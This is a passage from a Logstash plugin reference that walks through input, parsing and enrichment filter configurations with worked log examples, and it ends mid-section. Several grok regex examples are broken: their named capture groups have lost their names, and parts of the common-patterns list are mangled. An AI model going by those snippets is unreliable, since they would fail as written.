398 | The **rabbitmq** input plugin is an input plugin that retrieves logs stored in RabbitMQ, which is a common third party message broker/log buffer.
399 |
400 | This example shows the basic rabbitmq settings needed by Logstash:
401 | ```javascript
402 | input {
403 | rabbitmq {
404 | key => "logstashkey"
405 | queue => "logstashqueue"
406 | durable => true
407 | exchange => "logstashexchange"
408 | user => "logstash"
409 | password => "password_goes_here"
410 | host => "rabbitmq_server_goes_here"
411 | port => 5672
412 | }
413 | }
414 | ```
415 |
416 | This example below shows the basic RabbitMQ settings needed by Logstash but also includes some tags for troubleshooting. It assumes that it is pulling Windows logs out of a queue for Windows. The tags help troubleshoot issues related to a specific queue.
417 | ```javascript
418 | input {
419 | rabbitmq {
420 | key => "logstashkey"
421 | queue => "windows"
422 | durable => true
423 | exchange => "logstashexchange"
424 | user => "logstash"
425 | password => "password_goes_here"
426 | host => "rabbitmq_server_goes_here"
427 | port => 5672
428 | tags => [ "queue_windows", "rabbitmq" ]
429 | }
430 | }
431 | ```
432 |
433 | ### kafka
434 | The **kafka** input plugin is an input plugin that retrieves logs stored in Kafka, which is a common third party message broker/log buffer.
435 |
436 | This example shows the basic kafka settings needed by Logstash:
437 | ```javascript
438 | input {
439 | kafka {
440 | zk_connect => "kafka_server_goes_here:2181"
441 | topic_id => [ "logstash" ]
442 | }
443 | }
444 | ```
445 |
446 | This example below shows the basic Kakfa settings needed by Logstash but also includes some tags for troubleshooting. It assumes that it is pulling Windows logs out of a queue for Windows. The tags help troubleshoot issues related to a specific queue.
447 | ```javascript
448 | input {
449 | kafka {
450 | zk_connect => "kafka_server_goes_here:2181"
451 | topic_id => [ "windows" ]
452 | tags => [ "queue_windows", "kafka" ]
453 | }
454 | }
455 | ```
456 |
457 | ---------
458 | ### codecs
459 |
460 | Codecs can be used in input plugins to tell Logstash what data representation to expect in incoming logs. For example, if you know that logs coming in to the **tcp** plugin are going to be json you could use this:
461 |
462 | ```javascript
463 | input {
464 | tcp {
465 | port => "6000"
466 | codec => "json"
467 | }
468 | }
469 | ```
470 |
471 | The above configuration would automatically extract json field data similar to the below configuration. The difference is the below configuration must first shove the log into a field called **message** and then extract the json information from it.
472 |
473 | ```javascript
474 | input {
475 | tcp {
476 | port => "6000"
477 | }
478 | }
479 | filter {
480 | json {
481 | source => "message"
482 | }
483 | }
484 | ```
485 |
486 | Filter Parsing Plugins
487 | ---------
488 | - [csv](#csv)
489 | - [date](#date)
490 | - [grok](#grok)
491 | - [json](#json)
492 | - [kv](#kv)
493 |
494 |
495 | ---------
496 | ### csv
497 | The **csv** plugin is an filter plugin used to parse out fields that are seperated by a specific character.
498 |
499 | The below example configuration retrieves specific columns that are tab delimited from a Bro DHCP log
500 | ```javascript
501 | filter {
502 | csv {
503 | columns => ["timestamp","uid","source_ip","source_port","destination_ip","destination_port","protocol","transaction_id","rtt","query","query_class","query_class_name","query_type","query_type_name","rcode","rcode_name","aa","tc","rd","ra","z","answers","ttls","rejected"]
504 | separator => " "
505 | }
506 | }
507 | ```
508 |
509 | ---------
510 | ### date
511 | The **date** plugin is an filter plugin used to parse and normalize the date from a given field.
512 |
513 | Date uses the match parameter to set patterns to parse out timestamps. The match parameter takes an array of one or more patterns. For more information see: https://www.elastic.co/guide/en/logstash/current/plugins-filters-date.html#plugins-filters-date-match
514 |
515 | The below example configuration attempts to match a syslog time format against a field called syslog_timestamp.
516 | ```javascript
517 | filter {
518 | date {
519 | match => [ "syslog_timestamp", "MMM d HH:mm:ss", "MMM dd HH:mm:ss" ]
520 | }
521 | }
522 | ```
523 |
524 | The below example configuration attempts to match a syslog time format against a field called syslog_timestamp and includes a timezone.
525 | ```javascript
526 | filter {
527 | date {
528 | match => [ "syslog_timestamp", "MMM d HH:mm:ss", "MMM dd HH:mm:ss" ]
529 | timezone => "America/Chicago"
530 | }
531 | }
532 | ```
533 |
534 | The below example configuration attempts to match a timestamp based on the traditional year-month-day hour:minute:second format such as 2017-07-06 04:30:00.
535 | ```javascript
536 | filter {
537 | date {
538 | match => ["EventTime", "YYYY-MM-dd HH:mm:ss"]
539 | }
540 | }
541 | ```
542 |
543 | The below example configuration attempts to match a timestamp based on the traditional UNIX timestamp format format such as 1496031788.649121 (taken from Bro log).
544 | ```javascript
545 | filter {
546 | date {
547 | match => ["timestamp", "UNIX"]
548 | }
549 | }
550 | ```
551 |
552 | The below example configuration attempts to match a timestamp based ISO8601 format which is 2017-07-06T04:30:00.100Z.
553 | ```javascript
554 | filter {
555 | date {
556 | match => ["EventTime", "ISO8601"]
557 | }
558 | }
559 | ```
560 |
561 | When using the date plugin, it may make sense to remove the original date field after it has been converted successfully. This can be done by adding remove_field such as below.
562 | ```javascript
563 | filter {
564 | date {
565 | match => ["EventTime", "ISO8601"]
566 | remove_field => [ "EventTime"]
567 | }
568 | }
569 | ```
570 |
571 | ---------
572 | ### grok
573 | The **grok** plugin is an filter plugin used to parse fields using patterns and regex.
574 |
575 | Grok allows both raw regex and grok patterns (which are really regex anyway) to be used in any combination. It is an extremely powerful tool.
576 |
577 | When building out grok parsers it may make sense to do so using the website Grok Debugger:
578 |
579 | https://grokdebug.herokuapp.com/
580 |
581 | Patterns are simple to apply.
582 |
583 | Take this sentence:
584 | **The dog is brown and 4 years old.**
585 |
586 | This would be the way to parse out the type of animal, color, and age using patterns:
587 | ```javascript
588 | filter {
589 | grok {
590 | match => { "message" => "The %{WORD:animal} is %{WORD:color} and %{INT:age} years old." }
591 | }
592 | }
593 | ```
594 |
595 | This would be the way to parse out the type of animal, color, and age using regex:
596 | ```javascript
597 | filter {
598 | grok {
599 | match => { "message" => "The (?[a-zA-Z]+) is (?[a-zA-Z]+) and (?[0-9]+) years old." }
600 | }
601 | }
602 | ```
603 |
604 | Please keep in mind that sometimes special characters will need escaped with "\". For example, consider this message:
605 |
606 | There are [10] items in storage.
607 |
608 | This grok configuration would fail:
609 | ```javascript
610 | filter {
611 | grok {
612 | match => { "message" => "There are [%{INT:number}] items in storage." }
613 | }
614 | }
615 | ```
616 |
617 | This would be the correct configuration that escapes the [ and ] characters:
618 | ```javascript
619 | filter {
620 | grok {
621 | match => { "message" => "There are \[%{INT:number}\] items in storage." }
622 | }
623 | }
624 | ```
625 |
626 | Now, what if a log sometimes has extra fields and other times does not? This would cause the pattern/regex match to fail. The way around this is to either perform multiple grok matches or handle optional fields.
627 |
628 | Consider you need grok to be able to parse both of these sentences:
629 |
630 | **The dog is brown and 4 years old.**
631 | **The dog is brown and 4 years old and is owned by George.**
632 |
633 | ####**Multiple grok match**
634 |
635 | Multiple grok matches simply need multiple match statements. The order of operations matters. The first match stops grok unless the parameter break_on_match is set to FALSE.
636 |
637 | This is an example of a grok configuration that can parse both the sentences above using multiple grok match statements:
638 | ```javascript
639 | filter {
640 | grok {
641 | match => { "message" => "The %{WORD:animal} is %{WORD:color} and %{INT:age} years old and is owned by %{WORD:owner}." }
642 | match => { "message" => "The %{WORD:animal} is %{WORD:color} and %{INT:age} years old." }
643 | }
644 | }
645 | ```
646 | ####**Handling optional fields**
647 |
648 | It is not uncommon for logs to have optional fields that sometimes exist and other times do not. To handle this with grok you can simply specific something as optional by surrounding it in ()?.
649 |
650 | This is an example of a grok configuration that can parse both sentences above by adding an optional field reference using ()? in the configuration:
651 | ```javascript
652 | filter {
653 | grok {
654 | match => { "message" => "The (?[a-zA-Z]+) is (?[a-zA-Z]+) and (?[0-9]+) years old( and is owned by %{WORD:owner})?." }
655 | }
656 | }
657 | ```
658 |
659 | Here is an example of grok being used against a Linux auth.log event:
660 |
661 | ```bash
662 | <11>Jun 10 22:45:01 sec-555-linux CRON[2385]: pam_unix(cron:session): session closed for user root
663 | ```
664 |
665 | The below example configuration attempts to parse the log above with grok patterns.
666 | ```javascript
667 | filter {
668 | grok {
669 | match => { "message" => "<%{INT:syslog_pri}>%{SYSLOGTIMESTAMP:syslog_timestamp} %{SYSLOGHOST:syslog_hostname} %{DATA:syslog_program}(?:\[%{POSINT:syslog_pid}\])?: %{GREEDYDATA:syslog_message}" }
670 | }
671 | }
672 | ```
673 |
674 | This is an example of looking for base64 text in a Windows PowerShell event ID 4104:
675 | ```javascript
676 | filter {
677 | if [event_id] == 4104 and [ScriptBlockText] and [source_name] == "Microsoft-Windows-PowerShell" {
678 | grok {
679 | match => { "ScriptBlockText" => "(?[A-Za-z0-9+/]{50,}[=]{0,2})" }
680 | tag_on_failure => []
681 | }
682 | }
683 | }
684 | ```
685 |
686 | Setting tag_on_failure to [] tells grok to not add a tag of _grokparsefailure if it fails to find a match.
687 |
688 | Common Grok Patterns are below:
689 |
690 | ```bash
691 | USERNAME [a-zA-Z0-9._-]+
692 | USER %{USERNAME}
693 | INT (?:[+-]?(?:[0-9]+))
694 | BASE10NUM (?[+-]?(?:(?:[0-9]+(?:\.[0-9]+)?)|(?:\.[0-9]+)))
695 | NUMBER (?:%{BASE10NUM})
696 | BASE16NUM (?(?"(?>\\.|[^\\"]+)+"|""|(?>'(?>\\.|[^\\']+)+')|''|(?>`(?>\\.|[^\\`]+)+`)|``))
707 | UUID [A-Fa-f0-9]{8}-(?:[A-Fa-f0-9]{4}-){3}[A-Fa-f0-9]{12}
708 |
709 | # Networking
710 | MAC (?:%{CISCOMAC}|%{WINDOWSMAC}|%{COMMONMAC})
711 | CISCOMAC (?:(?:[A-Fa-f0-9]{4}\.){2}[A-Fa-f0-9]{4})
712 | WINDOWSMAC (?:(?:[A-Fa-f0-9]{2}-){5}[A-Fa-f0-9]{2})
713 | COMMONMAC (?:(?:[A-Fa-f0-9]{2}:){5}[A-Fa-f0-9]{2})
714 | IPV6 ((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?
715 | IPV4 (?/(?>[\w_%!$@:.,-]+|\\.)*)+
725 | TTY (?:/dev/(pts|tty([pq])?)(\w+)?/?(?:[0-9]+))
726 | WINPATH (?>[A-Za-z]+:|\\)(?:\\[^\\?*]*)+
727 | URIPROTO [A-Za-z]+(\+[A-Za-z+]+)?
728 | URIHOST %{IPORHOST}(?::%{POSINT:port})?
729 | # uripath comes loosely from RFC1738, but mostly from what Firefox
730 | # doesn't turn into %XX
731 | URIPATH (?:/[A-Za-z0-9$.+!*'(){},~:;=@#%_\-]*)+
732 | #URIPARAM \?(?:[A-Za-z0-9]+(?:=(?:[^&]*))?(?:&(?:[A-Za-z0-9]+(?:=(?:[^&]*))?)?)*)?
733 | URIPARAM \?[A-Za-z0-9$.+!*'|(){},~@#%&/=:;_?\-\[\]]*
734 | URIPATHPARAM %{URIPATH}(?:%{URIPARAM})?
735 | URI %{URIPROTO}://(?:%{USER}(?::[^@]*)?@)?(?:%{URIHOST})?(?:%{URIPATHPARAM})?
736 |
737 | # Months: January, Feb, 3, 03, 12, December
738 | MONTH \b(?:Jan(?:uary)?|Feb(?:ruary)?|Mar(?:ch)?|Apr(?:il)?|May|Jun(?:e)?|Jul(?:y)?|Aug(?:ust)?|Sep(?:tember)?|Oct(?:ober)?|Nov(?:ember)?|Dec(?:ember)?)\b
739 | MONTHNUM (?:0?[1-9]|1[0-2])
740 | MONTHDAY (?:(?:0[1-9])|(?:[12][0-9])|(?:3[01])|[1-9])
741 |
742 | # Days: Monday, Tue, Thu, etc...
743 | DAY (?:Mon(?:day)?|Tue(?:sday)?|Wed(?:nesday)?|Thu(?:rsday)?|Fri(?:day)?|Sat(?:urday)?|Sun(?:day)?)
744 |
745 | # Years?
746 | YEAR (?>\d\d){1,2}
747 | HOUR (?:2[0123]|[01]?[0-9])
748 | MINUTE (?:[0-5][0-9])
749 | # '60' is a leap second in most time standards and thus is valid.
750 | SECOND (?:(?:[0-5][0-9]|60)(?:[:.,][0-9]+)?)
751 | TIME (?!<[0-9])%{HOUR}:%{MINUTE}(?::%{SECOND})(?![0-9])
752 | # datestamp is YYYY/MM/DD-HH:MM:SS.UUUU (or something like it)
753 | DATE_US %{MONTHNUM}[/-]%{MONTHDAY}[/-]%{YEAR}
754 | DATE_EU %{MONTHDAY}[./-]%{MONTHNUM}[./-]%{YEAR}
755 | ISO8601_TIMEZONE (?:Z|[+-]%{HOUR}(?::?%{MINUTE}))
756 | ISO8601_SECOND (?:%{SECOND}|60)
757 | TIMESTAMP_ISO8601 %{YEAR}-%{MONTHNUM}-%{MONTHDAY}[T ]%{HOUR}:?%{MINUTE}(?::?%{SECOND})?%{ISO8601_TIMEZONE}?
758 | DATE %{DATE_US}|%{DATE_EU}
759 | DATESTAMP %{DATE}[- ]%{TIME}
760 | TZ (?:[PMCE][SD]T|UTC)
761 | DATESTAMP_RFC822 %{DAY} %{MONTH} %{MONTHDAY} %{YEAR} %{TIME} %{TZ}
762 | DATESTAMP_OTHER %{DAY} %{MONTH} %{MONTHDAY} %{TIME} %{TZ} %{YEAR}
763 |
764 | # Syslog Dates: Month Day HH:MM:SS
765 | SYSLOGTIMESTAMP %{MONTH} +%{MONTHDAY} %{TIME}
766 | PROG (?:[\w._/%-]+)
767 | SYSLOGPROG %{PROG:program}(?:\[%{POSINT:pid}\])?
768 | SYSLOGHOST %{IPORHOST}
769 | SYSLOGFACILITY <%{NONNEGINT:facility}.%{NONNEGINT:priority}>
770 | HTTPDATE %{MONTHDAY}/%{MONTH}/%{YEAR}:%{TIME} %{INT}
771 |
772 | # Shortcuts
773 | QS %{QUOTEDSTRING}
774 |
775 | # Log formats
776 | SYSLOGBASE %{SYSLOGTIMESTAMP:timestamp} (?:%{SYSLOGFACILITY} )?%{SYSLOGHOST:logsource} %{SYSLOGPROG}:
777 | COMMONAPACHELOG %{IPORHOST:clientip} %{USER:ident} %{USER:auth} \[%{HTTPDATE:timestamp}\] "(?:%{WORD:verb} %{NOTSPACE:request}(?: HTTP/%{NUMBER:httpversion})?|%{DATA:rawrequest})" %{NUMBER:response} (?:%{NUMBER:bytes}|-)
778 | COMBINEDAPACHELOG %{COMMONAPACHELOG} %{QS:referrer} %{QS:agent}
779 |
780 | # Log Levels
781 | LOGLEVEL ([A-a]lert|ALERT|[T|t]race|TRACE|[D|d]ebug|DEBUG|[N|n]otice|NOTICE|[I|i]nfo|INFO|[W|w]arn?(?:ing)?|WARN?(?:ING)?|[E|e]rr?(?:or)?|ERR?(?:OR)?|[C|c]rit?(?:ical)?|CRIT?(?:ICAL)?|[F|f]atal|FATAL|[S|s]evere|SEVERE|EMERG(?:ENCY)?|[Ee]merg(?:ency)?)
782 | ```
783 |
784 | ---------
785 | ### json
786 | The **json** plugin is an filter plugin used to automatically extract fields from a json log.
787 |
788 | This is an example of a JSON log:
789 | ```javascript
790 | {"Hostname":"nessus01.sec555.com","Keywords":-9223372036854775808,"Severity":"INFO","ProviderGuid":"{C2E6D0D9-5DF8-4C77-A82B-C96C84579543}","Version":0,"Task":1,"Domain":"NT AUTHORITY","Message":"Unloading the management provider","Opcode":"Stop","EventData":"","@version":"1","@timestamp":"2017-05-27T02:27:51.000Z","host":"172.16.0.2","port":54451,"type":"windows","tags":[],"user":"Network Service","account_type":"Well Known Group","category":"Provider initialization","channel":"Microsoft-Windows-ServerManager-MgmtProvider/Operational","event_id":2,"event_received_time":1495852073,"event_type":"INFO","opcode_value":2,"process_id":2396,"record_number":2605,"severity_value":2,"source_module_name":"eventlog","source_module_type":"im_msvistalog","source_name":"Microsoft-Windows-ServerManager-ManagementProvider","thread_id":4468,"logstash_time":0.0}
791 | ```
792 | Notice that it is surrounded by { } and contains "field":"value". JSON can also handle nested fields such as:
793 |
794 | ```javascript
795 | {"Name":"Justin Henderson",
796 | "Email":"justin@hasecuritysolutions.com",
797 | "Attributes": {
798 | "EyeColor":"blue",
799 | "Height":"average"
800 | }}
801 | ```
802 | JSON is extremely easy to parse because you do not really parse it. You simply use the json plugin to automatically extract all the fields including nested ones.
803 |
804 | The default source field is message. You only need to specific the source field if it is not message. Here is an example configuration that will automatic extract fields from the message field using json:
805 | ```javascript
806 | filter {
807 | json { }
808 | }
809 | ```
810 |
811 | Here is an example configuration that will automatic extract fields from the event field using json:
812 | ```javascript
813 | filter {
814 | json {
815 | source => "event"
816 | }
817 | }
818 | ```
819 |
820 | ---------
821 | ### kv
822 | The **kv** plugin is an filter plugin used to automatically extract fields from a key value based log.
823 |
824 | Key value means data is stored using a field name, some kind of separator character, and the field value.
825 |
826 | Example of key value data separated by = (default and most common)
827 | ```bash
828 | source_ip=192.168.0.1 source_port=50000 destination_ip=8.8.8.8 destination_port=53
829 | ```
830 |
831 | This is an example of a real kv log:
832 | ```bash
833 | <189>date=2017-04-23 time=21:21:46 devname=FGT50E3U16006093 devid=FGT50E3U16006093 logid=0001000014 type=traffic subtype=local level=notice vd=root srcip=192.168.254.2 srcport=123 srcintf=root dstip=208.91.112.51 dstport=123 dstintf=wan1 sessionid=16237216 proto=17 action=accept policyid=0 dstcountry=Canada srccountry=Reserved trandisp=noop service=NTP app=NTP duration=181 sentbyte=76 rcvdbyte=76 sentpkt=1 rcvdpkt=1 appcat=unscannedroot
834 | ```
835 |
836 | The configuration below uses kv to automatically extract fields and their corresponding values:
837 |
838 | ```javascript
839 | filter {
840 | grok {
841 | match => { "message" => "%{SYSLOGTIMESTAMP:syslog_timestamp} %{SYSLOGHOST:syslog_hostname} %{DATA:syslog_program}(?:\[%{POSINT:syslog_pid}\])?: %{GREEDYDATA:syslog_message}" }
842 | }
843 | kv {
844 | source => "syslog_message"
845 | }
846 | }
847 | ```
848 |
849 | The above configuration first uses grok to parse out the traditional syslog fields. It stores the syslog message into a field called syslog_message and then uses kv against it. This means kv was ran only against this:
850 |
851 | ```bash
852 | devname=FGT50E3U16006093 devid=FGT50E3U16006093 logid=0001000014 type=traffic subtype=local level=notice vd=root srcip=192.168.254.2 srcport=123 srcintf=root dstip=208.91.112.51 dstport=123 dstintf=wan1 sessionid=16237216 proto=17 action=accept policyid=0 dstcountry=Canada srccountry=Reserved trandisp=noop service=NTP app=NTP duration=181 sentbyte=76 rcvdbyte=76 sentpkt=1 rcvdpkt=1 appcat=unscannedroot
853 | ```
854 |
855 | Sometimes a log will come over with an empty value. In order for kv to work, the value portion cannot be empty.
856 |
857 | For example, this is acceptable:
858 | ```bash
859 | source_ip:192.168.0.1 vd=root destination_ip=8.8.8.8
860 | ```
861 |
862 | This is not:
863 | ```bash
864 | source_ip=192.168.0.1 vd= destination_ip=8.8.8.8
865 | ```
866 |
867 | One way to handle this is to perform a string replacement of empty values and change the value from nothing to something like na (for not applicable). Here is an example on how to do this:
868 | ```javascript
869 | filter {
870 | mutate {
871 | gsub => [ "syslog_message", "= ", "=na " ]
872 | }
873 | kv {
874 | source => "syslog_message"
875 | }
876 | }
877 | ```
878 |
879 | The above configuration will take this syslog_message:
880 | ```bash
881 | source_ip=192.168.0.1 vd= destination_ip=8.8.8.8
882 | ```
883 |
884 | Then it will convert it into this:
885 | ```bash
886 | source_ip=192.168.0.1 vd=na destination_ip=8.8.8.8
887 | ```
888 |
889 | Finally, it will use kv to automatically extract the following fields and values:
890 |
891 | **source_ip**:192.168.0.1
892 | **vd**:"na"
893 | **destination_ip**:8.8.8.8
894 |
895 |
896 | Filter Enrichment Plugins
897 | ---------
898 | - [dns](#dns)
899 | - [drop](#drop)
900 | - [elasticsearch](#filter_elasticsearch)
901 | - [memoize](#memoize)
902 | - [geoip](#geoip)
903 |
904 | - [mutate](#mutate)
905 | - [rest](#rest)
906 | - [ruby](#ruby)
907 | - [syslog_pri](#syslog_pri)
908 | - [tld](#tld)
909 | - [translate](#translate)
910 |
911 | ---------
912 | ### dns
913 | The **dns** plugin is a filter plugin used to either resolve a name to an IP address or an IP address to a name.
914 |
915 | This example takes a domain and resolves it to an IP address:
916 | ```javascript
917 | filter {
918 | dns {
919 | resolve => "hostname"
920 | action => "replace"
921 | }
922 | }
923 | ```
924 |
925 | This example takes an IP address and resolves it to a name:
926 | ```javascript
927 | filter {
928 | dns {
929 | reverse => "source_ip"
930 | action => "replace"
931 | }
932 | }
933 | ```
934 |
935 | Both of the examples above would overwrite the fields specific (hostname and source_ip) with the value of the DNS answer. This is **not** the expected behavior. To get around this, add a field that clones the value of the original field and use the dns plugin against it.
936 |
937 | Here is an example that first takes the value of the field hostname and puts it into a new field called hostname_resolved. Then it takes the hostname_resolved field and resolves it to an IP address:
938 |
939 | ```javascript
940 | filter {
941 | mutate {
942 | add_field => { "hostname_resolved" => "%{hostname}" }
943 | }
944 | dns {
945 | resolve => "hostname_resolved"
946 | action => "replace"
947 | }
948 | }
949 | ```
950 |
951 | Here is an example that first takes the value of the field source_ip and puts it into a new field called source_ip_resolved. Then it takes the source_ip_resolved field and resolves it to a domain name:
952 | ```javascript
953 | filter {
954 | mutate { add_field => { "source_ip_resolved" => "%{source_ip}" }
955 | }
956 | dns {
957 | reverse => "source_ip_resolved"
958 | action => "replace"
959 | }
960 | }
961 | ```
962 |
963 | ---------
964 | ### drop
965 | The **drop** plugin is a filter plugin used to remove an event. A dropped event is immediately removed from Logstash and not processed.
966 |
967 | The **drop* plugin is extremely important. Use it to eliminate events that have little to no value.
968 |
969 | This example drops an event if the field syslog_message has the phrase "unknown exception has occurred":
970 | ```javascript
971 | filter {
972 | if [syslog_message] =~ "unknown exception has occurred" {
973 | drop { }
974 | }
975 | }
976 | ```
977 |
978 | This example drops an event if the EventID field is set to 555:
979 | ```javascript
980 | filter {
981 | if [EventID] == 555 {
982 | drop { }
983 | }
984 | }
985 | ```
986 |
987 | ---------
988 | ### filter_elasticsearch
989 | The **elasticsearch** plugin is community filter plugin used to query Elasticsearch. If a match is found, whatever fields are specified will be appended to the existing log.
990 |
991 | If lookups are likely to happen multiple times for the same piece of data consider using this plugin in conjunction to #memoize. It will enable caching of the results and allow Logstash to perform much faster lookups.
992 |
993 | Consider this scenario, an IDS alert has been received but the alert only contains the source_ip and destination_ip. However, having the DNS name associated with these IP addresses could be valuable to an analyst. If DNS queries and answers are in Elasticsearch, they can be pulled into the IDS alert automatically.
994 |
995 | Here is the configuration to do it:
996 | ```javascript
997 | filter {
998 | if [event_type] == "alert" {
999 | elasticsearch {
1000 | hosts => ["localhost"]
1001 | index => "logstash-suricata-dns-*"
1002 | query => "event_type:dns AND query_type:answer AND response_data:%{[destination_ip]}"
1003 | fields => [["query_name","query"],["dns_id","dns_id"]]
1004 | }
1005 | }
1006 | }
1007 | ```
1008 |
1009 | This configuration would take the destination_ip and check to see if the Elasticsearch index logstash-suricata-dns-* had a previous answer that contained the destination_ip. If a match was found the elasticsearch filter plugin would pull back the query_name and dns_id fields. In this example, the query_name field would be stored into a field called query and the dns_id field would be stored into a field called dns_id.
1010 |
1011 | ####Other use cases for the elasticsearch filter plugin:
1012 |
1013 | - Querying threat intelligence feeds stored in Elasticsearch indexes (**Collective Intelligence Framework** uses Elasticsearch)
1014 | - Building your own custom intelligence feeds and querying them
1015 | - Querying custom whitelist information (in house controlled whitelisting feeds can be extremely powerful)
1016 |
1017 | There are other ways to do the above but this is another method often overlooked.
1018 |
1019 | ---------
1020 | ### memoize
1021 | The **logstash-filter-memoize** plugin is community filter plugin used to enable caching for other filter plugins. It is used to wrap itself around another filter plugin and cache the results based on a specific field. Subsequent calls to the same filter plugin with the same field value causes memoize to pull the return value from cache rather than running the filter plugin again. This can **drastically** increase performance assuming caching is acceptable per your use case.
1022 |
1023 | Consider this scenario, an IDS alert has been received but the alert only contains the source_ip and destination_ip. However, having the DNS name associated with these IP addresses could be valuable to an analyst. If DNS queries and answers are in Elasticsearch, they can be pulled into the IDS alert automatically.
1024 |
1025 | Here is the configuration to do it:
1026 | ```javascript
1027 | filter {
1028 | if [event_type] == "alert" {
1029 | memoize {
1030 | key => "%{destination_ip}"
1031 | fields => [ "highest_registered_domain", "query" ]
1032 | filter_name => "elasticsearch"
1033 | filter_options => {
1034 | query => "type:bro_dns AND answers:%{destination_ip}"
1035 | index => "logstash-bro-*"
1036 | fields => {
1037 | "query" => "destination_fqdn"
1038 | "highest_registered_domain" => "destination_highest_registered_domain"
1039 | }
1040 | }
1041 | }
1042 | }
1043 | }
1044 | ```
1045 |
1046 | This configuration would take the destination_ip and check to see if the Elasticsearch index logstash-bro-* had a previous answer that contained the destination_ip. If a match was found the elasticsearch filter plugin would pull back the highest_registered_domain and query fields. In this example, the query field would be stored into a field called destination_fqdn and the highest_registered_domain field would be stored into a field called destination_highest_registered_domain. Memoize would then cache this so that if the same alert came in 50 times the first alert would be cached and the remaining 49 would pull from that chace.
1047 |
1048 | ####Other use cases for the memoize filter plugin:
1049 |
1050 | - Querying threat intelligence feeds stored in Elasticsearch indexes (**Collective Intelligence Framework** uses Elasticsearch)
1051 | - Building your own custom intelligence feeds and querying them
1052 | - Querying custom whitelist information (in house controlled whitelisting feeds can be extremely powerful)
1053 |
1054 | There are other ways to do the above but this is another method often overlooked.
1055 |
1056 | ---------
1057 | ### geoip
1058 | The **geoip** plugin is a filter plugin used to take an IP address and resolve it to geographic information such as city, state, latitude, longitude, and Autonomous System Number (ASN).
1059 |
1060 | Here is an example of using geoip against a field called destination_ip:
1061 | ```javascript
1062 | filter {
1063 | geoip {
1064 | source => "[destination_ip]"
1065 | }
1066 | }
1067 | ```
1068 |
1069 | Here is an example of using geoip against a field called destination_ip and saving the results to a field called destination_geo:
1070 | ```javascript
1071 | filter {
1072 | geoip {
1073 | source => "[destination_ip]"
1074 | target => "destination_geo"
1075 | }
1076 | }
1077 | ```
1078 |
1079 | Here is an example of using geoip against a field called destination_ip using a custom geoip database (such as commercial use of MaxMind):
1080 | ```javascript
1081 | filter {
1082 | geoip {
1083 | database => "/usr/local/share/GeoIP/GeoLiteCity.dat"
1084 | source => "[destination_ip]"
1085 | target => "destination_geo"
1086 | }
1087 | }
1088 | ```
1089 |
1090 | The above examples only retrieve traditional geo information such as city, state, latitude, and longitude. It does not include ASN which is one of the most underutilized and tactically important fields.
1091 |
1092 | The below information shows the standard geoip information for 8.8.8.8:
1093 |
1094 | ```bash
1095 | destination_ip 8.8.8.8
1096 | destination_geo.area_code 650
1097 | destination_geo.city_name Mountain View
1098 | destination_geo.continent_code NA
1099 | destination_geo.country_code2 US
1100 | destination_geo.country_code3 USA
1101 | destination_geo.country_name United States
1102 | destination_geo.ip 8.8.8.8
1103 | destination_geo.latitude 37.386
1104 | destination_geo.location -122.084, 37.386
1105 | destination_geo.longitude -122.084
1106 | destination_geo.postal_code 94035
1107 | destination_geo.real_region_name California
1108 | destination_geo.region_name CA
1109 | destination_geo.timezone America/Los_Angeles
1110 | ```
1111 |
1112 | While this is helpful, it is does not add enough context for the analyst. However, the ASN does. See the ASN information for 8.8.8.8:
1113 |
1114 | ```bash
1115 | destination_ip 8.8.8.8
1116 | destination_geo.asn Google Inc.
1117 | destination_geo.number AS15169
1118 | ```
1119 |
1120 | Without using DNS, this ASN of 15169 shows that 8.8.8.8 is registered to Google Inc. This is powerful for filtering and applying additional Logstash configurations. For example, you could use the ASN to filter out certain businesses such as Microsoft from specific hunting techniques.
1121 |
1122 | Below is the configuration used to pull in ASN information:
1123 |
1124 | ```javascript
1125 | filter {
1126 | geoip {
1127 | database => "/usr/local/share/GeoIP/GeoIPASNum.dat"
1128 | source => "[source_ip]"
1129 | target => "source_geo"
1130 | }
1131 | }
1132 | ```
1133 |
1134 | It simply requires pointing at a ASN database file.
1135 |
1136 | ---------
1137 | ### mutate
1138 | The **mutate** plugin is a filter plugin used to alter a log. It has many purposes as seen below.
1139 |
1140 | #### Add a field
1141 | This example config adds a field called hostname_resolved and starts it with an empty value:
1142 | ```javascript
1143 | filter {
1144 | mutate {
1145 | add_field => { "hostname_resolved" => "" }
1146 | }
1147 | }
1148 | ```
1149 |
1150 | This example config adds a field called hostname_resolved and clones the value of the hostname field into it:
1151 | ```javascript
1152 | filter {
1153 | mutate {
1154 | add_field => { "hostname_resolved" => "%{hostname}" }
1155 | }
1156 | }
1157 | ```
1158 |
1159 | #### Add a tag
1160 | This example config adds a tag called pci:
